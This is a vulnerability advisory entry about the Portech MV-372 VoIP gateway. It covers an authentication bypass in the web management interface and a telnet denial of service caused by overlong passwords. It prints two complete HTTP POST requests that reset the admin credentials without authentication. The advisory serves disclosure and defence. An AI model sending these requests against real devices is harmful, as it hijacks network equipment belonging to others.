VAR-190001-1025

Vulnerability from variot - Updated: 2022-05-17 02:09

Portech MV-372 has a WEB management verification bypass vulnerability. An attacker submits a malicious POST request without having to verify the username and password of the changed device: POST http:///change.cgi HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 5.0) Gecko/20100101Firefox/5.0Accept: text/html, application/xhtml+xml, application/xml; q=0.9,/;q= 0.8Accept-Language: hu-hu, hu; q=0.8, en-us; q=0.5, en; q=0.3Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-2, utf-8; q= 0.7,;q=0.7Connection: keep-aliveReferer: http://192.168.0.100/change.htmContent-Type: application/x-www-form-urlencodedContent-Length: 50Nuser=admin&Npass=admin&Nrpass=admin&submit=Submit to save These username and password changes can be submitted as follows: POST http:///save.cgiHost: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 5.0) Gecko/20100101Firefox /5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: hu-hu,hu;q=0.8,en-us;q=0.5 ,en;q=0.3Accept-E Ncoding: gzip, deflateAccept-Charset: ISO-8859-2, utf-8; q=0.7, ; q=0.7Connection: keep-aliveReferer: http://192.168.0.100/save.htmContent-Type: application/x -www-form-urlencodedContent-Length: 11submit=Save. Portech MV-372 is a VoIP network management device. The Portech MV-372 Telnet service has a remote denial of service vulnerability. Providing a very long password such as 5000 characters can cause the telnet service to crash. You need to restart the device for normal functions. The Portech MV-372 VoIP Gateway is prone to multiple security vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information, cause vulnerable devices to crash (resulting in a denial-of-service condition), or bypass certain security restrictions by sending a specially crafted HTTP POST request
